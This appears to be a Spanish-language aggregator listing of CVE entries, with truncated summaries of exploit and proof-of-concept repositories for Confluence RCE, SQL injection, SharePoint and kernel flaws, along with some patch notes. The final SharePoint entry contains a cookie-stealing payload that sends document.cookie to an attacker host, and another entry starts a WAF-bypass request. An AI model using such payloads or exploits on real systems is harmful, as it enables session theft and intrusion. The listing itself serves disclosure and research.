CVE-2021-26084

CVE-2021-26084 Descripción - POC de CVE-2021-26084, que es una vulnerabilidad de inyección RCE Pre-Auth OGNL Object-Graph Navigation Language en Atlassian Confluence Server. - creado por antx el 13-01-2022. Detalle - En las versiones afectadas de Confluence Server y Data Center, existe una...

CVE-2026-7028-SQLI

CodeAstro-Online-Job-Portal-SQLi-Delete-All Detalles Proveedor: CodeAstro Producto: Proyecto de Portal de Empleo en Línea en PHP MySQL Versión: 1.0 Tipo de vulnerabilidad: Inyección SQL CWE: CWE-89 Endpoint afectado: /admin/jobs-admins/delete-jobs.php Parámetro: id GET Impacto: Permite la...

CVE-2026-6183-SQLI

Inyección SQL a través del parámetro id en index.php - Sistema de Gestión de Contenidos Simple en PHP Descripción Existe una vulnerabilidad de Inyección SQL en el Sistema de Gestión de Contenidos Simple en PHP. El parámetro id en index.php no se sanea antes de pasarse a la consulta SQL, lo que...

PATCH-CVE-2026-31431-Ubuntu_Debian

🛡️ Mitigación de CVE-2026-31431 Copy Fail - Kernel de Linux Este repositorio contiene scripts diseñados para neutralizar la vulnerabilidad crítica CVE-2026-31431 , apodada "Copy Fail" , en sistemas Ubuntu. !IMPORTANT Compatibilidad: Estos scripts están adaptados y probados en Ubuntu Server 24.04...

CVE-2023-22527

CVE-2023-22527 Una herramienta de explotación para explotar el servidor de Confluence que es vulnerable a CVE-2023-22527, lo que conduce a RCE, probada y con POC verificado en instancias vulnerables de Confluence Data Center y servidores. Con esto, un atacante puede ejecutar código arbitrario en ...

CVE-2026-36374

Descripción Se ha identificado un endpoint público que permite la consulta de certificados mediante un identificador predecible código de certificado, sin ningún mecanismo de autenticación o autorización. Mediante la enumeración de este identificador, un atacante puede acceder a datos personales ...

CVE-2026-22730-Scanner

Escáner y Exploit CVE-2026-22730 – Inyección SQL en el Vector Store MariaDB de Spring AI Una herramienta profesional de evaluación de seguridad para CVE-2026-22730 – una vulnerabilidad crítica de inyección SQL descubierta en el vector store MariaDB de Spring AI. Esta herramienta permite a...

CVE-2026-21876

CVE-2026-21876 Bypass de WAF de OWASP CRS Contenedor docker de CVE-2026-21876 + PoC mínimo. Quiero agradecer por separado a @airween y a @fzipi por su rápida respuesta. ¡La corrección de la vulnerabilidad estuvo lista en muy poco tiempo! PoC POST /submit HTTP/1.1 Host: localhost User-Agent:...

CVE-2023-22527-POC

CVE-2023-22527 &color=brighgreen%3E Description A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.Most recent supported...

Blackash-CVE-2025-61884

CVE-2025-61884 Nuevo fallo en Oracle E-Business Suite podría permitir a los hackers acceder a datos sin iniciar sesión 💀 CVE-2025-61884 — Resumen completo 🧾💥 Campo| Detalles ---|--- Identificador| CVE-2025-61884 Producto| Oracle E-Business Suite — Oracle Configurator Runtime UI Versiones afectada...

kernel: crypto: af_alg - Disallow concurrent writes in af_alg_sendmsg

A race condition was found in the Linux kernel cryptographic user API, AFALG in the way concurrent writes to the same AFALG socket are handled. Interleaved data and inconsistent internal socket state may result. A local user could use this flaw to crash the system or corrupt cryptographic operati...

CVE-2026-56738

The open-source FAQ web application phpMyFAQ is vulnerable to SQL Injection in the StopWords::add() method in versions prior to 4.1.6 . The root cause is the direct insertion of user-supplied stop word values into a SQL INSERT statement using sprintf() without proper database escaping. While the ...

EUVD-2026-86288

Snipe-IT is an IT asset/license management system. Prior to 8.7.0, the uploaded-files API endpoint GET /api/v1/objecttype/id/files/fileid allows an authenticated user with file-management access to upload XML and XSLT attachments and request them with the inline=true parameter. The...

DEBIAN-CVE-2026-93235

In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to zero post-EOF data when extending file size generic/794 4s ... - output mismatch see /share/git/fstests/results//generic/794.out.bad --- tests/generic/794.out 2026-06-12 08:46:32.766426241 +0800 +++...

CVE-2026-93235

In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to zero post-EOF data when extending file size generic/794 4s ... - output mismatch see /share/git/fstests/results//generic/794.out.bad --- tests/generic/794.out 2026-06-12 08:46:32.766426241 +0800 +++...

DEBIAN-CVE-2026-93226

In the Linux kernel, the following vulnerability has been resolved: ipv6: use RCU iterator to dump route exceptions rt6nhdumpexceptions uses hlistforeachentry to iterate over RCU-protected exception lists. The caller holds rcureadlock, but does not hold rt6exceptionlock, so rt6insertexception can...

Exploit-CVE-2023-22515

Exploit CVE-2023-22515 Un exploit de script bash simple para CVE-2023-22515. Información Las instancias de Confluence Data Center y Server tienen una vulnerabilidad de control de acceso roto CVE-2023-22515, que permite a los atacantes crear cuentas de administrador de Confluence no autorizadas y...

CVE-2026-39047

PrintHack - Herramienta de Pruebas de Seguridad para Impresoras | | | | | | \ | \ | | | | | | | | | | | | | | | | | ⚠️ AVISO LEGAL : Esta herramienta está destinada únicamente a pruebas de seguridad legítimas y fines educativos. Úsala de manera responsable y solo en sistemas que poseas o para los...

CVE-2023-22527_Confluence_RCE

CVE-2023-22527 Confluence RCE CVE-2023-22527 - Vulnerabilidad de RCE Ejecución Remota de Código en Confluence Data Center y Confluence Server PoC Referencias CVE-2023-22527 - RCE Remote Code Execution Vulnerability In Confluence Data Center and Confluence Server | Atlassian Support | Atlassian...

CVE-2026-32201-exploit

Resumen Exploit en Python para CVE-2026-32201 - validación de entrada incorrecta en Microsoft SharePoint Server, que permite suplantación de red no autenticada C:L/I:L. Afecta: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoi...